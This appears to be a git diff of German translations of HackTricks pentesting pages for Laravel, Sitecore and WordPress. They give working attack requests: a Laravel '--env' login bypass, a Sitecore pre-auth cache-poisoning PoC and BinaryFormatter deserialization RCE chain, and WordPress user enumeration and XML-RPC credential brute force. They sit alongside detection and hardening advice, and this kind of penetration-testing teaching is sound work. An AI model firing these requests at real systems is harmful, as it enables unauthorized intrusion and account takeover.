+Wenn PHPs `register_argc_argv=On` gesetzt ist (typisch auf vielen Distros), stellt PHP ein `argv`-Array für HTTP-Requests bereit, das aus dem Query-String abgeleitet wird. Neuere Laravel-Versionen parsen diese „CLI-like“ args und respektieren `--env=<value>` zur Laufzeit. Das erlaubt, die Framework-Umgebung für die aktuelle HTTP-Anfrage umzuschalten, indem man es einfach an jede URL anhängt:
 
-- Schneller Check:
-- Besuche `https://target/?--env=local` oder irgendeinen String und suche nach environment-abhängigen Änderungen (Debug-Banner, Footer, ausführliche Fehlermeldungen). Wenn der String reflektiert wird, funktioniert die Überschreibung.
+- Schnellprüfung:
+- Besuche `https://target/?--env=local` oder einen beliebigen String und achte auf umgebungsabhängige Änderungen (Debug-Banner, Footer, ausführliche Fehlermeldungen). Wenn der String reflektiert wird, funktioniert der Override.
 
-- Beispiel für die Auswirkung (Business-Logik, die einem speziellen env vertraut):
-- Wenn die App Branches wie `if (app()->environment('preprod')) { /* bypass auth */ }` enthält, kannst du dich ohne gültige Credentials authentifizieren, indem du den Login-POST an:
+- Impact-Beispiel (Business-Logik, die einer speziellen env vertraut):
+- Wenn die App Zweige wie `if (app()->environment('preprod')) { /* bypass auth */ }` enthält, kannst du dich ohne gültige Credentials authentifizieren, indem du den Login-POST anfügst an:
 - `POST /login?--env=preprod`
 
 - Hinweise:
-- Funktioniert pro Request, keine Persistenz.
-- Erfordert `register_argc_argv=On` und eine verwundbare Laravel-Version, die argv für HTTP ausliest.
-- Nützliches Primitive, um ausführlichere Fehler in „debug“-Envs anzuzeigen oder um environment-geschützte Codepfade auszulösen.
+- Funktioniert pro Anfrage, keine Persistenz.
+- Erfordert `register_argc_argv=On` und eine verwundbare Laravel-Version, die argv für HTTP liest.
+- Nützliche Primitive, um ausführlichere Fehler in „debug“ envs sichtbar zu machen oder um environment-gebundene Code-Pfade auszulösen.
 
-- Gegenmaßnahmen:
+- Mitigations:
 - Deaktiviere `register_argc_argv` für PHP-FPM/Apache.
-- Aktualisiere Laravel, sodass argv in HTTP-Requests ignoriert wird, und entferne alle Annahmen, die sich in Produktionsrouten auf `app()->environment()` stützen.
+- Aktualisiere Laravel, sodass argv bei HTTP-Anfragen ignoriert wird, und entferne jegliche Vertrauensannahmen, die an `app()->environment()` in Produktions-Routes gebunden sind.
 
-Minimaler Exploit-Flow (Burp):
+Minimaler Exploit-Ablauf (Burp):
 ```http
 POST /login?--env=preprod HTTP/1.1
 Host: target
@@ -129,20 +129,20 @@ email=a@b.c&password=whatever&remember=0xdf
 
 ### Debugging-Modus
 
-Wenn Laravel im **Debugging-Modus** ist, können Sie auf den **Code** und **sensible Daten** zugreifen.\
+Wenn Laravel im **Debugging-Modus** ist, kannst du auf den **code** und **sensitive data** zugreifen.\
 Zum Beispiel `http://127.0.0.1:8000/profiles`:
 
 ![](<../../images/image (1046).png>)
 
 Dies wird normalerweise benötigt, um andere Laravel RCE CVEs auszunutzen.
 
-### Fingerprinting & exponierte Dev-Endpunkte
+### Fingerprinting & exponierte dev-Endpunkte
 
-Kurze Prüfungen, um einen Laravel-Stack und gefährliche Dev-Tools zu identifizieren, die in Produktion exponiert sind:
+Schnelle Checks, um einen Laravel-Stack und gefährliche Dev-Tools zu identifizieren, die in Produktion exponiert sind:
 
-- `/_ignition/health-check` → Ignition vorhanden (Debug-Tool, verwendet von CVE-2021-3129). Wenn unauthentifiziert erreichbar, könnte die App im Debug-Modus sein oder falsch konfiguriert.
-- `/_debugbar` → Laravel Debugbar Assets; deutet oft auf Debug-Modus hin.
-- `/telescope` → Laravel Telescope (Dev-Monitor). Wenn öffentlich, ist mit umfangreicher Informationsoffenlegung und möglichen Aktionen zu rechnen.
+- `/_ignition/health-check` → Ignition vorhanden (Debug-Tool, verwendet von CVE-2021-3129). Falls ohne Auth erreichbar, könnte die App im Debug-Modus sein oder falsch konfiguriert.
+- `/_debugbar` → Laravel Debugbar Assets; deutet oft auf den Debug-Modus hin.
+- `/telescope` → Laravel Telescope (Dev-Monitor). Wenn öffentlich zugänglich, ist mit umfangreicher Informationsoffenlegung und möglichen Aktionen zu rechnen.
 - `/horizon` → Queue-Dashboard; Versionsangabe und manchmal CSRF-geschützte Aktionen.
 - `X-Powered-By`, Cookies `XSRF-TOKEN` und `laravel_session` sowie Blade-Fehlerseiten helfen ebenfalls beim Fingerprinting.
 ```bash
@@ -153,11 +153,11 @@ for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https:/
 ```
 ### .env
 
-Laravel speichert die APP, die es zum Verschlüsseln der cookies und anderer credentials verwendet, in einer Datei namens `.env`, die über einen path traversal unter: `/../.env` zugänglich ist.
+Laravel speichert die APP, die es zum Verschlüsseln der cookies und anderer credentials verwendet, in einer Datei namens `.env`, die über ein path traversal unter: `/../.env` zugänglich ist
 
-Laravel zeigt diese Informationen außerdem auf der Debug-Seite an (die erscheint, wenn Laravel einen Fehler findet und der Debug-Modus aktiviert ist).
+Laravel zeigt diese Informationen außerdem auf der debug page an (diese erscheint, wenn Laravel einen Fehler feststellt und der Debug-Modus aktiviert ist).
 
-Mit dem geheimen APP_KEY von Laravel kann man cookies entschlüsseln und wieder verschlüsseln:
+Mit dem geheimen APP_KEY von Laravel kannst du cookies entschlüsseln und wieder verschlüsseln:
 
 ### Decrypt Cookie
 ```python
@@ -220,16 +220,16 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe
 ```
 ### Laravel Deserialization RCE
 
-Verwundbare Versionen: 5.5.40 und 5.6.x bis 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
+Betroffene Versionen: 5.5.40 und 5.6.x bis 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
 
-Weitere Informationen zur deserialization-Schwachstelle finden Sie hier: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
+Weitere Informationen zur deserialization vulnerability finden Sie hier: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
 
-Zum Testen und Exploiten können Sie [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
-Oder Sie können es auch mit metasploit exploiten: `use unix/http/laravel_token_unserialize_exec`
+Sie können es mit [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133) testen und ausnutzen.\
+Alternativ können Sie es auch mit metasploit ausnutzen: `use unix/http/laravel_token_unserialize_exec`
 
 ### CVE-2021-3129
 
-Weitere deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
+Eine weitere deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
 
 
 

src/network-services-pentesting/pentesting-web/sitecore/README.md

@@ -2,7 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-Diese Seite fasst eine praktische Angriffskette gegen Sitecore XP 10.4.1 zusammen, die von einem pre‑auth XAML handler zu HTML cache poisoning pivots und — über einen authenticated UI flow — zu RCE durch BinaryFormatter deserialization führt. Die Techniken verallgemeinern sich auf ähnliche Sitecore‑Versionen/-Komponenten und liefern konkrete Primitives zum Testen, Erkennen und Härten.
+Diese Seite fasst eine praktische Angriffskette gegen Sitecore XP 10.4.1 zusammen, die von einem pre‑auth XAML handler zu HTML cache poisoning übergeht und — über einen authenticated UI flow — zu RCE durch BinaryFormatter deserialization führt. Die Techniken verallgemeinern sich auf ähnliche Sitecore‑Versionen/Komponenten und liefern konkrete Primitive zum Testen, Erkennen und Härtung.
 
 - Betroffenes Produkt (getestet): Sitecore XP 10.4.1 rev. 011628
 - Behoben in: KB1003667, KB1003734 (Juni/Juli 2025)
@@ -19,7 +19,7 @@ Siehe auch:
 
 ## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
 
-Der Einstiegspunkt ist der in web.config registrierte pre‑auth XAML handler:
+Einstiegspunkt ist der pre‑auth XAML handler, der in web.config registriert ist:
 ```xml
 <add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
 ```
@@ -27,7 +27,7 @@ Zugänglich über:
 ```
 GET /-/xaml/Sitecore.Shell.Xaml.WebControl
 ```
-Der Control-Tree enthält AjaxScriptManager, der bei Event‑Anfragen vom Angreifer kontrollierte Felder ausliest und reflectiv Methoden auf Ziel-Controls aufruft:
+Der Steuerelementbaum enthält AjaxScriptManager, der bei Event-Requests vom Angreifer kontrollierte Felder ausliest und reflektiv Methoden auf den Ziel-Steuerelementen aufruft:
 ```csharp
 // AjaxScriptManager.OnPreRender
 string clientId = page.Request.Form["__SOURCE"];      // target control
@@ -42,9 +42,9 @@ if (m != null) m.Invoke(this, e.Parameters);
 // Alternate branch for XML-based controls
 if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
 ```
-Wichtige Beobachtung: Die XAML-Seite enthält eine XmlControl-Instanz (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl erbt von Sitecore.Web.UI.WebControl (einer Sitecore-Klasse), die die ReflectionUtil.Filter allow‑list (Sitecore.*) passiert und dadurch Methoden auf Sitecore WebControl freischaltet.
+Wichtige Beobachtung: die XAML-Seite enthält eine XmlControl-Instanz (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl erbt von Sitecore.Web.UI.WebControl (einer Sitecore-Klasse), die die ReflectionUtil.Filter allow‑list (Sitecore.*) passiert und damit Methoden auf Sitecore WebControl freischaltet.
 
-Magische Methode für poisoning:
+Magische Methode zum poisoning:
 ```csharp
 // Sitecore.Web.UI.WebControl
 protected virtual void AddToCache(string cacheKey, string html) {
@@ -52,7 +52,7 @@ HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
 if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
 }
 ```
-Da wir xmlcontrol:GlobalHeader anvisieren und Sitecore.Web.UI.WebControl-Methoden namentlich aufrufen können, erhalten wir eine pre-auth beliebige HtmlCache write-Primitive.
+Da wir xmlcontrol:GlobalHeader anvisieren und Sitecore.Web.UI.WebControl-Methoden namentlich aufrufen können, erhalten wir ein pre-auth arbitrary HtmlCache write primitive.
 
 ### PoC-Anfrage (CVE-2025-53693)
 ```
@@ -62,13 +62,13 @@ Content-Type: application/x-www-form-urlencoded
 
 __PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
 ```
-Notes:
-- __SOURCE ist die clientID von xmlcontrol:GlobalHeader innerhalb von Sitecore.Shell.Xaml.WebControl (häufig stabil wie ctl00_ctl00_ctl05_ctl03, da es aus statischem XAML abgeleitet wird).
-- Das Format von __PARAMETERS ist Method("arg1","arg2").
+Hinweise:
+- __SOURCE ist die clientID von xmlcontrol:GlobalHeader innerhalb von Sitecore.Shell.Xaml.WebControl (häufig stabil, z. B. ctl00_ctl00_ctl05_ctl03, da sie aus statischem XAML abgeleitet wird).
+- __PARAMETERS hat das Format Method("arg1","arg2").
 
-## Was zu vergiften ist: Aufbau des Cache-Schlüssels
+## Was zu vergiften: Aufbau des Cache-Schlüssels
 
-Typische Konstruktion des HtmlCache-Key, wie sie von Sitecore controls verwendet wird:
+Typische HtmlCache-Schlüsselkonstruktion, die von Sitecore-Controls verwendet wird:
 ```csharp
 public virtual string GetCacheKey(){
 SiteContext site = Sitecore.Context.Site;
@@ -90,31 +90,31 @@ return k;
 return string.Empty;
 }
 ```
-Beispiel für gezielte poisoning für ein bekanntes Sublayout:
+Beispiel für targeted poisoning eines bekannten Sublayouts:
 ```
 __PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
 ```
-## Auflisten cachefähiger Elemente und “vary by” Dimensionen
+## Auflisten cachefähiger Items und “vary by”-Dimensionen
 
-Wenn der ItemService anonym (fehl)exponiert ist, kannst du cachefähige Komponenten auflisten, um exakte keys abzuleiten.
+Wenn der ItemService (fälschlicherweise) anonym exponiert ist, können Sie cachefähige Komponenten enumerieren, um exakte keys zu ermitteln.
 
-Schnelle Probe:
+Kurzer Test:
 ```
 GET /sitecore/api/ssc/item
 // 404 Sitecore error body → exposed (anonymous)
 // 403 → blocked/auth required
 ```
-Liste cachebarer Elemente und Flags:
+Liste der cachebaren Elemente und Flags:
 ```
 GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
 ```
-Suchen Sie nach Feldern wie Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Gerätenamen können über folgendes aufgelistet werden:
+Suchen Sie nach Feldern wie Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Gerätenamen können über Folgendes aufgelistet werden:
 ```
 GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
 ```
-### Side‑channel enumeration under restricted identities (CVE-2025-53694)
+### Side‑channel enumeration unter eingeschränkten Identitäten (CVE-2025-53694)
 
-Auch wenn ItemService sich als ein eingeschränktes Konto (z. B. ServicesAPI) ausgibt und ein leeres Results-Array zurückgibt, kann TotalCount weiterhin pre‑ACL Solr‑Treffer widerspiegeln. Du kannst item groups/ids mit wildcards brute-force und beobachten, wie TotalCount konvergiert, um interne Inhalte und Geräte zu kartieren:
+Selbst wenn ItemService sich als ein eingeschränktes Konto (z. B. ServicesAPI) ausgibt und ein leeres Results-Array zurückgibt, kann TotalCount weiterhin pre‑ACL Solr-Treffer widerspiegeln. Sie können item groups/ids mit wildcards brute‑force durchführen und beobachten, wie TotalCount konvergiert, um interne Inhalte und Geräte abzubilden:
 ```
 GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
 → "TotalCount": 3
@@ -131,14 +131,14 @@ Sink:
 byte[] b = Convert.FromBase64String(data);
 return new BinaryFormatter().Deserialize(new MemoryStream(b));
 ```
-Erreichbar über den convertToRuntimeHtml pipeline step ConvertWebControls, der nach einem Element mit der id {iframeId}_inner sucht und dieses base64 decodes + deserializes, anschließend den resultierenden String in das HTML injiziert:
+Erreichbar über den convertToRuntimeHtml-Pipeline-Schritt ConvertWebControls, der nach einem Element mit der id {iframeId}_inner sucht und diesen base64 decodiert + deserialisiert, um die resultierende Zeichenfolge in das HTML einzufügen:
 ```csharp
 HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
 string text2   = inner?.GetAttributeValue("value", "");
 if (text2.Length > 0)
 htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
 ```
-Auslösen (authentifiziert, Content Editor‑Rechte). Der FixHtml-Dialog ruft convertToRuntimeHtml auf. End-to-end ohne UI-Klicks:
+Auslösen (authentifiziert, Content Editor-Rechte). Der FixHtml-Dialog ruft convertToRuntimeHtml auf. Ende-zu-Ende ohne UI-Klicks:
 ```
 // 1) Start Content Editor
 GET /sitecore/shell/Applications/Content%20Editor.aspx
@@ -159,36 +159,36 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
 // 4) Visit FixHtml to trigger ConvertWebControls → deserialization
 GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
 ```
-Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
+Gadget generation: Verwende ysoserial.net / YSoNet mit BinaryFormatter, um eine base64-Payload zu erzeugen, die einen String zurückgibt. Der Inhalt des Strings wird von ConvertWebControls in das HTML geschrieben, nachdem deserialization side‑effects ausgeführt wurden.
 
 
 {{#ref}}
 ../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
 {{#endref}}
 
-## Komplette Kette
+## Vollständiger Ablauf
 
-1) Pre‑auth‑Angreifer vergiften den HtmlCache mit beliebigem HTML, indem sie WebControl.AddToCache reflektiv über XAML AjaxScriptManager aufrufen.  
-2) Das vergiftete HTML liefert JavaScript aus, das einen authentifizierten Content Editor durch den FixHtml‑Flow schiebt.  
-3) Die FixHtml‑Seite löst convertToRuntimeHtml → ConvertWebControls aus, welches vom Angreifer kontrolliertes base64 via BinaryFormatter deserialisiert → RCE unter der Sitecore‑App‑Pool‑Identität.
+1) Pre‑auth Angreifer vergiftet HtmlCache mit beliebigem HTML, indem er WebControl.AddToCache über XAML AjaxScriptManager reflektiv aufruft.
+2) Das vergiftete HTML liefert JavaScript, das einen authentifizierten Content Editor-Benutzer durch den FixHtml‑Flow veranlasst.
+3) Die FixHtml‑Seite löst convertToRuntimeHtml → ConvertWebControls aus, welche attacker‑controlled base64 mittels BinaryFormatter deserialisiert → RCE unter der Sitecore app pool identity.
 
 ## Erkennung
 
-- Pre‑auth XAML: Anfragen an `/-/xaml/Sitecore.Shell.Xaml.WebControl` mit `__ISEVENT=1`, verdächtigem `__SOURCE` und `__PARAMETERS=AddToCache(...)`.  
-- ItemService‑Probing: Anstiege von `/sitecore/api/ssc` Wildcard‑Abfragen, großer `TotalCount` mit leeren `Results`.  
-- Deserialisierungsversuche: `EditHtml.aspx` gefolgt von `FixHtml.aspx?hdl=...` und ungewöhnlich große base64‑Werte in HTML‑Feldern.
+- Pre‑auth XAML: Anfragen an `/-/xaml/Sitecore.Shell.Xaml.WebControl` mit `__ISEVENT=1`, verdächtigem `__SOURCE` und `__PARAMETERS=AddToCache(...)`.
+- ItemService probing: Spike von `/sitecore/api/ssc` Wildcard‑Abfragen, hoher `TotalCount` mit leeren `Results`.
+- Deserialization attempts: `EditHtml.aspx` gefolgt von `FixHtml.aspx?hdl=...` und ungewöhnlich große base64-Inhalte in HTML-Feldern.
 
 ## Härtung
 
-- Wende Sitecore‑Patches KB1003667 und KB1003734 an; sperre/deaktiviere pre‑auth XAML‑Handler oder füge strikte Validierung hinzu; überwache und rate‑limitiere `/-/xaml/`.  
-- Entferne/ersetze BinaryFormatter; beschränke den Zugriff auf convertToRuntimeHtml oder erzwinge starke serverseitige Validierung der HTML‑Editing‑Flows.  
-- Sichere `/sitecore/api/ssc` auf Loopback oder authentifizierte Rollen; vermeide Impersonierungs‑Muster, die `TotalCount`‑basierte side‑channels leak.  
-- Erzwinge MFA und least privilege für Content Editor; prüfe CSP, um den Einfluss von JS steering durch cache poisoning zu reduzieren.
+- Installiere Sitecore Patches KB1003667 und KB1003734; sperre/deaktiviere pre‑auth XAML‑Handler oder füge strikte Validierung hinzu; überwache und rate‑limitiere `/-/xaml/`.
+- Entferne/ersetze BinaryFormatter; beschränke den Zugriff auf convertToRuntimeHtml oder erzwinge starke serverseitige Validierung der HTML‑Editing‑Flows.
+- Schränke `/sitecore/api/ssc` auf loopback oder authentifizierte Rollen ein; vermeide Impersonation‑Muster, die leak‑basierte Side‑Channels über `TotalCount` ermöglichen.
+- Erzwinge MFA/least privilege für Content Editor‑Benutzer; überprüfe CSP, um den Einfluss von JS steering durch cache poisoning zu reduzieren.
 
 ## References
 
-- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)  
-- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)  
+- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
+- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
 - [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/wordpress.md

@@ -4,33 +4,33 @@
 
 ## Grundlegende Informationen
 
-- **Uploaded** Dateien werden abgelegt unter: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
-- **Theme-Dateien befinden sich in /wp-content/themes/,** daher wirst du vermutlich diesen Pfad nutzen, wenn du etwas PHP des Themes änderst, um RCE zu erreichen. Zum Beispiel: Wenn du **theme twentytwelve** verwendest, kannst du die **404.php**-Datei öffnen unter: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
+- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
+- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
 
-- **Eine weitere nützliche URL könnte sein:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
+- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
 
-- In **wp-config.php** findest du das Root-Passwort der Datenbank.
-- Standard-Login-Pfade, die überprüft werden sollten: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
+- In **wp-config.php** you can find the root password of the database.
+- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
 
-### **Wichtige WordPress-Dateien**
+### **Main WordPress Files**
 
 - `index.php`
 - `license.txt` enthält nützliche Informationen wie die installierte WordPress-Version.
 - `wp-activate.php` wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Seite verwendet.
-- Login-Dateien/-Pfade (können umbenannt worden sein, um sie zu verbergen):
-  - `/wp-admin/login.php`
-  - `/wp-admin/wp-login.php`
-  - `/login.php`
-  - `/wp-login.php`
-- `xmlrpc.php` ist eine Datei, die eine Funktionalität von WordPress darstellt, die das Übertragen von Daten ermöglicht, wobei HTTP als Transportmechanismus und XML als Kodierungsmechanismus dient. Diese Art der Kommunikation wurde durch die WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ersetzt.
-- Der `wp-content`-Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert sind.
+- Login-Pfade (können umbenannt sein, um sie zu verbergen):
+- `/wp-admin/login.php`
+- `/wp-admin/wp-login.php`
+- `/login.php`
+- `/wp-login.php`
+- `xmlrpc.php` ist eine Datei, die eine Funktion von WordPress darstellt, die es ermöglicht, Daten über HTTP als Transportmechanismus und XML als Kodierungsmechanismus zu übertragen. Diese Art der Kommunikation wurde durch die WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ersetzt.
+- Der `wp-content`-Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert werden.
 - `wp-content/uploads/` ist das Verzeichnis, in dem alle auf die Plattform hochgeladenen Dateien gespeichert werden.
 - `wp-includes/` ist das Verzeichnis, in dem Core-Dateien gespeichert sind, wie Zertifikate, Fonts, JavaScript-Dateien und Widgets.
-- `wp-sitemap.xml` In WordPress-Versionen 5.5 und höher generiert WordPress eine sitemap XML-Datei mit allen öffentlichen Beiträgen sowie öffentlich abfragbaren Post-Typen und Taxonomien.
+- `wp-sitemap.xml` In Wordpress-Versionen 5.5 und höher generiert Wordpress eine sitemap XML-Datei mit allen öffentlichen Beiträgen und öffentlich abfragbaren Post-Typen und Taxonomien.
 
 **Post exploitation**
 
-- Die Datei `wp-config.php` enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie den Datenbanknamen, Datenbank-Host, Benutzername und Passwort, Authentication Keys und Salts sowie das Tabellenpräfix der Datenbank. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche nützlich sein kann.
+- Die Datei `wp-config.php` enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie Datenbankname, Datenbankhost, Benutzername und Passwort, Authentication Keys und Salts sowie das Datenbank-Tabellenpräfix. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlerbehebung hilfreich sein kann.
 
 ### Benutzerberechtigungen
 
@@ -38,15 +38,15 @@
 - **Editor**: Veröffentlicht und verwaltet eigene und fremde Beiträge
 - **Author**: Veröffentlicht und verwaltet eigene Beiträge
 - **Contributor**: Schreibt und verwaltet seine Beiträge, kann sie aber nicht veröffentlichen
-- **Subscriber**: Kann Beiträge lesen und sein Profil bearbeiten
+- **Subscriber**: Beiträge ansehen und das eigene Profil bearbeiten
 
-## **Passive Enumeration**
+## **Passive Aufklärung**
 
-### **Get WordPress version**
+### **WordPress-Version ermitteln**
 
 Prüfe, ob du die Dateien `/license.txt` oder `/readme.html` finden kannst
 
-Innerhalb des **Quellcodes** der Seite (Beispiel von [https://wordpress.org/support/article/pages/]):
+Inside the **source code** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
 
 - grep
 ```bash
@@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress'
 
 ![](<../../images/image (524).png>)
 
-### Plugins abrufen
+### Plugins herunterladen
 ```bash
 curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
 ```
@@ -79,9 +79,9 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
 ```
 ## Aktive Enumeration
 
-### Plugins und Themes
+### Plugins and Themes
 
-Du wirst wahrscheinlich nicht in der Lage sein, alle Plugins und Themes zu finden. Um alle zu entdecken, musst du **aktiv eine Liste von Plugins und Themes per Brute Force** durchprobieren (zum Glück gibt es automatisierte Tools, die solche Listen enthalten).
+Du wirst wahrscheinlich nicht alle Plugins und Themes finden können. Um alle zu entdecken, musst du **actively Brute Force a list of Plugins and Themes** (hoffentlich gibt es automatisierte Tools, die diese Listen enthalten).
 
 ### Benutzer
 
@@ -91,27 +91,27 @@ curl -s -I -X GET http://blog.example.com/?author=1
 ```
 Wenn die Antworten **200** oder **30X** sind, bedeutet das, dass die id **gültig** ist. Wenn die Antwort **400** ist, dann ist die id **ungültig**.
 
-- **wp-json:** Du kannst auch versuchen, Informationen über die Benutzer zu erhalten, indem du abfragst:
+- **wp-json:** Sie können auch versuchen, Informationen über die Benutzer zu erhalten, indem Sie abfragen:
 ```bash
 curl http://blog.example.com/wp-json/wp/v2/users
 ```
-Ein weiterer `/wp-json/` endpoint, der einige Informationen über Benutzer anzeigen kann, ist:
+Ein weiterer `/wp-json/` endpoint, der einige Informationen über Benutzer preisgeben kann, ist:
 ```bash
 curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
 ```
-Beachte, dass dieser Endpunkt nur Benutzer offenlegt, die einen Beitrag erstellt haben. **Es werden nur Informationen über die Benutzer bereitgestellt, die diese Funktion aktiviert haben**.
+Beachte, dass dieses endpoint nur Benutzer offenlegt, die einen Beitrag veröffentlicht haben. **Es werden nur Informationen über die Benutzer bereitgestellt, die diese Funktion aktiviert haben**.
 
-Beachte auch, dass **/wp-json/wp/v2/pages** IP-Adressen leak könnte.
+Beachte außerdem, dass **/wp-json/wp/v2/pages** IP-Adressen leaken könnte.
 
-- **Login username enumeration**: Beim Einloggen in **`/wp-login.php`** ist die **Meldung** unterschiedlich, je nachdem, ob der angegebene **Benutzername existiert oder nicht**.
+- **Login username enumeration**: Beim Einloggen über **`/wp-login.php`** ist die **Meldung** **unterschiedlich**, je nachdem, ob der angegebene **Benutzername existiert oder nicht**.
 
 ### XML-RPC
 
-Wenn `xml-rpc.php` aktiv ist, kannst du eine credentials brute-force durchführen oder es nutzen, um DoS-Angriffe auf andere Ressourcen zu starten. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
+Wenn `xml-rpc.php` aktiv ist, kannst du einen credentials brute-force durchführen oder es nutzen, um DoS-Angriffe gegen andere Ressourcen zu starten. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
 
-Um zu prüfen, ob es aktiv ist, versuche, auf _**/xmlrpc.php**_ zuzugreifen und sende diese Anfrage:
+Um zu prüfen, ob es aktiv ist, versuche, auf _**/xmlrpc.php**_ zuzugreifen und diese Anfrage zu senden:
 
-**Prüfen**
+**Überprüfen**
 ```html
 <methodCall>
 <methodName>system.listMethods</methodName>
@@ -122,7 +122,7 @@ Um zu prüfen, ob es aktiv ist, versuche, auf _**/xmlrpc.php**_ zuzugreifen und
 
 **Credentials Bruteforce**
 
-**`wp.getUserBlogs`**, **`wp.getCategories`** oder **`metaWeblog.getUsersBlogs`** sind einige der Methoden, die verwendet werden können, um credentials per brute-force zu ermitteln. Wenn du eine davon findest, kannst du etwas wie Folgendes senden:
+**`wp.getUserBlogs`**, **`wp.getCategories`** oder **`metaWeblog.getUsersBlogs`** sind einige Methoden, die verwendet werden können, um brute-force credentials zu testen. Wenn du eine davon findest, kannst du etwas wie Folgendes senden:
 ```html
 <methodCall>
 <methodName>wp.getUsersBlogs</methodName>
@@ -132,13 +132,13 @@ Um zu prüfen, ob es aktiv ist, versuche, auf _**/xmlrpc.php**_ zuzugreifen und
